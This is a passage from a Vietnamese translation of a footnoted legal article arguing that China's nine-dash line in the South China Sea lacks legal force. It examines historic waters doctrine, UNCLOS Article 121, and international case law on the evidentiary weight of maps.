tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự ăn khớp ngày càng chính xác giữa bản đồ và không ảnh. Thông tin xuất phát từ sự can thiệp của con người, chẳng hạn như tên của các địa điểm và các thể địa lý (địa danh học) và việc miêu tả biên giới và ranh giới chính trị khác, do đó không khả tín hơn. Tất nhiên, độ tin cậy của các thông tin địa danh học cũng tăng lên nhở kiểm chứng thực địa, mặc dù ở mức độ thấp hơn, nhưng theo ý kiến của các nhà vẽ bản đồ, sai sót vẫn còn phổ biến trong biểu thị các đường biên giới, nhất là khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC 